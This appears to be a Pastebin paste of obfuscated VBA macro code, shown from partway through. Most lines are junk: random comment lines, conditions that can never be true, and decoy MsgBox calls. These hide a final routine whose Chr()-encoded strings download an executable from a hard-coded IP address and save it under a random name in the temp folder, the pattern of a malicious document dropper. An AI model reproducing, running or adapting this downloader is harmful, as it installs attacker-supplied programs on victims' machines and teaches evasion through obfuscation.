  1123. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1124. End If
  1125. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1126. If Len(Chr(101) & Chr(104) & Chr(99) & Chr(102) & Chr(103) & Chr(100) & Chr(118) & Chr(98) & Chr(56) & Chr(49) & Chr(49) & Chr(56)) = Len(Chr(106) & Chr(98) & Chr(106) & Chr(113) & Chr(108) & Chr(98) & Chr(98) & Chr(109)) Then
  1127. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1128.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1129. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1130. End If
  1131. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1132. Put #25, , dtuyfnfh
  1133. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1134.  
  1135. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1136. If 478173 = 478173 + 1 Then End
  1137. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1138. If 5323 < 71 Then
  1139. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1140.        MsgBox (Chr(111) & Chr(97) & Chr(97) & Chr(102) & Chr(117) & Chr(112) & Chr(111) & Chr(101) & Chr(56) & Chr(50))
  1141. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1142. End If
  1143. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1144. If Len(Chr(104) & Chr(106) & Chr(116) & Chr(115) & Chr(104) & Chr(101) & Chr(116) & Chr(119) & Chr(56) & Chr(53) & Chr(56) & Chr(54)) = Len(Chr(118) & Chr(116) & Chr(115) & Chr(105) & Chr(115) & Chr(109) & Chr(106) & Chr(109)) Then
  1145. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1146.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1147. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1148. End If
  1149. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1150. Close #25
  1151. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1152.  
  1153. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1154. If 493914 = 493914 + 1 Then End
  1155. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1156. If 8639 < 43 Then
  1157. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1158.        MsgBox (Chr(106) & Chr(110) & Chr(121) & Chr(104) & Chr(108) & Chr(104) & Chr(100) & Chr(122) & Chr(53) & Chr(54))
  1159. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1160. End If
  1161. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1162. If Len(Chr(105) & Chr(113) & Chr(105) & Chr(99) & Chr(109) & Chr(98) & Chr(101) & Chr(112) & Chr(50) & Chr(57) & Chr(57) & Chr(51)) = Len(Chr(111) & Chr(102) & Chr(113) & Chr(113) & Chr(101) & Chr(118) & Chr(122) & Chr(104)) Then
  1163. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1164.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1165. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1166. End If
  1167. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1168. upvpnycc:
  1169. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1170.  
  1171. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1172.  
  1173. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1174. If 293355 = 293355 + 1 Then End
  1175. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1176. If 5988 < 53 Then
  1177. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1178.        MsgBox (Chr(115) & Chr(111) & Chr(121) & Chr(104) & Chr(108) & Chr(103) & Chr(101) & Chr(97) & Chr(55) & Chr(52))
  1179. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1180. End If
  1181. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1182. If Len(Chr(114) & Chr(114) & Chr(110) & Chr(118) & Chr(99) & Chr(119) & Chr(97) & Chr(105) & Chr(54) & Chr(55) & Chr(51) & Chr(56)) = Len(Chr(100) & Chr(107) & Chr(111) & Chr(108) & Chr(109) & Chr(115) & Chr(115) & Chr(117)) Then
  1183. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1184.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1185. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1186. End If
  1187. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1188.    Set ocpvmgeelcx = Nothing
  1189. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1190.  
  1191. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1192.  
  1193. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1194. GoTo delrostx
  1195. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1196. Dim kvzvcucd As String
  1197. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1198. Open Chr(83) & Chr(80) & Chr(84) & Chr(80) & Chr(75) & Chr(65) & Chr(46) & Chr(87) & Chr(90) & Chr(69) For Binary As 38
  1199. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1200. If 146892 = 146892 + 1 Then End
  1201. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1202. If 7572 < 16 Then
  1203. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1204.        MsgBox (Chr(120) & Chr(109) & Chr(109) & Chr(115) & Chr(98) & Chr(106) & Chr(111) & Chr(109) & Chr(50) & Chr(57))
  1205. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1206. End If
  1207. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1208. If Len(Chr(97) & Chr(110) & Chr(114) & Chr(112) & Chr(114) & Chr(100) & Chr(120) & Chr(103) & Chr(56) & Chr(51) & Chr(50) & Chr(51)) = Len(Chr(103) & Chr(111) & Chr(98) & Chr(117) & Chr(111) & Chr(98) & Chr(99) & Chr(112)) Then
  1209. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1210.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1211. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1212. End If
  1213. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1214. Put #38, , kvzvcucd
  1215. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1216.  
  1217. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1218. If 462772 = 462772 + 1 Then End
  1219. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1220. If 1465 < 42 Then
  1221. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1222.        MsgBox (Chr(99) & Chr(106) & Chr(101) & Chr(113) & Chr(98) & Chr(119) & Chr(114) & Chr(115) & Chr(50) & Chr(52))
  1223. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1224. End If
  1225. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1226. If Len(Chr(99) & Chr(99) & Chr(122) & Chr(97) & Chr(108) & Chr(119) & Chr(102) & Chr(113) & Chr(53) & Chr(54) & Chr(51) & Chr(57)) = Len(Chr(121) & Chr(113) & Chr(112) & Chr(120) & Chr(106) & Chr(115) & Chr(98) & Chr(112)) Then
  1227. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1228.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1229. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1230. End If
  1231. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1232. Close #38
  1233. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1234.  
  1235. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1236. If 738861 = 738861 + 1 Then End
  1237. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1238. If 7295 < 47 Then
  1239. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1240.        MsgBox (Chr(117) & Chr(104) & Chr(112) & Chr(111) & Chr(118) & Chr(106) & Chr(103) & Chr(104) & Chr(56) & Chr(57))
  1241. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1242. End If
  1243. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1244. If Len(Chr(114) & Chr(113) & Chr(104) & Chr(118) & Chr(103) & Chr(108) & Chr(104) & Chr(104) & Chr(49) & Chr(52) & Chr(54) & Chr(56)) = Len(Chr(116) & Chr(103) & Chr(108) & Chr(115) & Chr(99) & Chr(106) & Chr(104) & Chr(99)) Then
  1245. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1246.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1247. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1248. End If
  1249. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1250. delrostx:
  1251. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1252.  
  1253. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1254.  
  1255. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1256. If 538254 = 538254 + 1 Then End
  1257. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1258. If 9617 < 24 Then
  1259. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1260.        MsgBox (Chr(100) & Chr(114) & Chr(97) & Chr(108) & Chr(108) & Chr(101) & Chr(117) & Chr(101) & Chr(57) & Chr(54))
  1261. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1262. End If
  1263. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1264. If Len(Chr(100) & Chr(111) & Chr(110) & Chr(112) & Chr(102) & Chr(101) & Chr(106) & Chr(101) & Chr(51) & Chr(56) & Chr(55) & Chr(49)) = Len(Chr(119) & Chr(99) & Chr(117) & Chr(116) & Chr(113) & Chr(109) & Chr(122) & Chr(122)) Then
  1265. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1266.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1267. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1268. End If
  1269. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1270.      
  1271. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1272.  
  1273. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1274. End Function
  1275. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1276. Sub evgvriwbtjr()
  1277. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1278.  
  1279. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1280. GoTo ljoliijf
  1281. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1282. Dim vskgweot As String
  1283. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1284. Open Chr(71) & Chr(74) & Chr(68) & Chr(84) & Chr(82) & Chr(66) & Chr(46) & Chr(71) & Chr(70) & Chr(68) For Binary As 42
  1285. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1286. If 376792 = 376792 + 1 Then End
  1287. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1288. If 3764 < 68 Then
  1289. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1290.        MsgBox (Chr(112) & Chr(104) & Chr(99) & Chr(116) & Chr(117) & Chr(99) & Chr(97) & Chr(116) & Chr(52) & Chr(52))
  1291. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1292. End If
  1293. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1294. If Len(Chr(105) & Chr(115) & Chr(101) & Chr(119) & Chr(99) & Chr(110) & Chr(114) & Chr(121) & Chr(52) & Chr(53) & Chr(50) & Chr(53)) = Len(Chr(120) & Chr(108) & Chr(99) & Chr(108) & Chr(122) & Chr(115) & Chr(116) & Chr(97)) Then
  1295. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1296.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1297. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1298. End If
  1299. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1300. Put #42, , vskgweot
  1301. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1302.  
  1303. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1304. If 412666 = 412666 + 1 Then End
  1305. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1306. If 4667 < 64 Then
  1307. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1308.        MsgBox (Chr(121) & Chr(109) & Chr(119) & Chr(102) & Chr(122) & Chr(117) & Chr(103) & Chr(99) & Chr(56) & Chr(53))
  1309. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1310. End If
  1311. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1312. If Len(Chr(100) & Chr(112) & Chr(118) & Chr(115) & Chr(113) & Chr(110) & Chr(113) & Chr(103) & Chr(55) & Chr(56) & Chr(51) & Chr(49)) = Len(Chr(119) & Chr(118) & Chr(117) & Chr(117) & Chr(105) & Chr(106) & Chr(120) & Chr(102)) Then
  1313. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1314.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1315. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1316. End If
  1317. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1318. Close #42
  1319. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1320.  
  1321. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1322. If 921165 = 921165 + 1 Then End
  1323. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1324. If 3891 < 94 Then
  1325. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1326.        MsgBox (Chr(106) & Chr(111) & Chr(108) & Chr(99) & Chr(120) & Chr(115) & Chr(102) & Chr(108) & Chr(49) & Chr(55))
  1327. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1328. End If
  1329. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1330. If Len(Chr(117) & Chr(108) & Chr(109) & Chr(114) & Chr(99) & Chr(119) & Chr(101) & Chr(97) & Chr(54) & Chr(49) & Chr(54) & Chr(53)) = Len(Chr(111) & Chr(99) & Chr(99) & Chr(107) & Chr(121) & Chr(108) & Chr(101) & Chr(105)) Then
  1331. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1332.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1333. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1334. End If
  1335. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1336. ljoliijf:
  1337. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1338.  
  1339. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1340.  
  1341. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1342. If 169543 = 169543 + 1 Then End
  1343. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1344. If 4651 < 41 Then
  1345. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1346.        MsgBox (Chr(121) & Chr(119) & Chr(106) & Chr(114) & Chr(118) & Chr(104) & Chr(107) & Chr(110) & Chr(53) & Chr(49))
  1347. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1348. End If
  1349. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1350. If Len(Chr(118) & Chr(103) & Chr(115) & Chr(113) & Chr(114) & Chr(99) & Chr(106) & Chr(117) & Chr(53) & Chr(53) & Chr(57) & Chr(49)) = Len(Chr(117) & Chr(101) & Chr(108) & Chr(117) & Chr(110) & Chr(102) & Chr(122) & Chr(121)) Then
  1351. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1352.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1353. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1354. End If
  1355. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1356.    trzfcrwihtc Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(52) & Chr(52) & Chr(46) & Chr(55) & Chr(54) & Chr(46) & Chr(49) & Chr(53) & Chr(51) & Chr(46) & Chr(51) & Chr(54) & Chr(58) & Chr(56) & Chr(48) & Chr(56) & Chr(48) & Chr(47) & Chr(100) & Chr(111) & Chr(99) & Chr(47) & Chr(57) & Chr(46) & Chr(101) & Chr(120) & Chr(101), Environ(Chr(116) & Chr(101) & Chr(109) & Chr(112)) & Chr(92) & Chr(68) & Chr(67) & Chr(73) & Chr(84) & Chr(88) & Chr(69) & Chr(75) & Chr(66) & Chr(73) & Chr(82) & Chr(71) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
  1357. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1358.  
  1359. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1360. End Sub
  1361. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1362.  
  1363. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top